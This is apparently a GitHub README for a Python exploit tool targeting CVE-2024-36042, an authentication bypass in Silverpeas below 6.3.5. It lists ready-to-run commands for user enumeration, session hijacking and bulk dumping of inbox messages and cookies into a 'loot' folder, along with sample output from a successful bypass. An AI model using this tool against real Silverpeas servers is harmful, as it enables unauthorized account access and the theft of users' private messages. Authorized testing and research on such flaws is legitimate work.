Python PoC for CVE-2024-36042 authentication bypass in Silverpeas < 6.3.5. Features version detection, multi-threaded user enumeration, message extraction, and structured reporting for authorized security testing.
A clean, professional-grade Python3 proof-of-concept for CVE-2024-36042 — an authentication bypass in Silverpeas < 6.3.5 caused by missing password validation in
AuthenticationServlet.
Silverpeas AuthenticationServlet accepts a login request even when the Password parameter is omitted from the POST body, granting authenticated session access to any known username. This tool demonstrates the vulnerability responsibly through a modular, threaded exploit framework with advanced reconnaissance, data extraction, and professional report generation.
Affected: Silverpeas < 6.3.5
CVE: CVE-2024-36042
GHSA: GHSA-qvh3-8c57-gp4m
git clone https://github.com/YOURNAME/Silverpeas-AuthBypass-CVE-2024-36042.git
cd Silverpeas-AuthBypass-CVE-2024-36042
pip install requests beautifulsoup4
python3 CVE-2024-36042.py -t http://TARGET:8080 --dump-messages
python3 CVE-2024-36042.py -t http://TARGET:8080 -u admin --dump-messages --message-output both
python3 CVE-2024-36042.py -t http://TARGET:8080 --userlist users.txt --dump-messages --message-output files --output-format md --outdir ./loot
python3 CVE-2024-36042.py -t http://TARGET:8080 --check-version --no-exploit
python3 CVE-2024-36042.py -t http://TARGET:8080 --proxy http://127.0.0.1:8080 --dump-messages --save-raw-html
The tool supports four primary output modes for dumped messages via --message-output:
console (Default): Prints cleaned messages directly to the terminal with keyword highlighting.markdown: Generates a single {username}_messages.md report per account in the output directory.files: Creates a folder per account and saves each message as an individual file (e.g., message_0006.md) with zero-padded IDs for clean filesystem sorting.both: Combines console and markdown modes.outdir/
├── SilverAdmin/
│ ├── message_0001.md
│ ├── message_0002.md
│ ├── raw/ (optional: --save-raw-html)
│ │ └── msg_1.html
│ └── session_cookies.txt
├── scr1ptkiddy/
│ ├── messages.md
│ └── session_cookies.txt
└── summary.json
-t, --target Base URL of Silverpeas (required)
-u, --user Single username to target
--userlist File with one username per line
--dump-messages Scrape and display inbox messages
--max-id Max message ID to check (default: 50)
--threads Concurrent workers (default: 5)
--proxy HTTP proxy URL
--message-output Output mode: {console, markdown, files, both}
--output-format File format: {md, txt}
--json Export full JSON report
--csv Export CSV of scraped messages
--outdir Output directory for exports
--no-color Disable ANSI color output (useful for logs)
--save-raw-html Save original HTML responses for debugging
--check-version Fingerprint version only
--no-exploit Skip exploitation (pair with --check-version)
--quiet, -q Minimal output
--no-banner Suppress banner
[*] Target : http://10.49.169.44:8080
[*] Version : 6.3.1
[+] Version 6.3.1 < 6.3.5 - vulnerable.
[*] Trying: scr1ptkiddy
[+] BYPASSED -> scr1ptkiddy
[+] Data saved to ./scr1ptkiddy
────────────────────────────────────────────────────────────────────
Execution Summary
────────────────────────────────────────────────────────────────────
┌───────────────┬──────────┬──────────┐
│ Account │ Status │ Messages │
├───────────────┼──────────┼──────────┤
│ scr1ptkiddy │ SUCCESS │ 6 │
│ admin │ FAILED │ 0 │
└───────────────┴──────────┴──────────┘
[+] JSON report -> ./report_20260516_013210.json
This repository is part of my offensive-security portfolio. It demonstrates:
This tool is provided for authorized security testing, research, and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain explicit permission before testing any infrastructure you do not own.
MIT
| Feature | Description |
|---|
| Version Detection | Fingerprint Silverpeas version and vulnerability status before exploitation. |
| Multi-threaded | Concurrent user enumeration via ThreadPoolExecutor with thread-safe output. |
| Advanced Discovery | Multilingual (English/French) endpoint discovery with multi-ID probing. |
| Data Extraction | High-fidelity message dumping with deduplication and boilerplate filtering. |
| Flexible Output | Support for Console, Markdown reports, and individual file exports (.md or .txt). |
| Proxy & Debugging | Route through Burp/ZAP (--proxy) and save raw HTML for parser debugging. |
| Clean UX | ASCII summary tables, keyword highlighting, and optional ANSI color control. |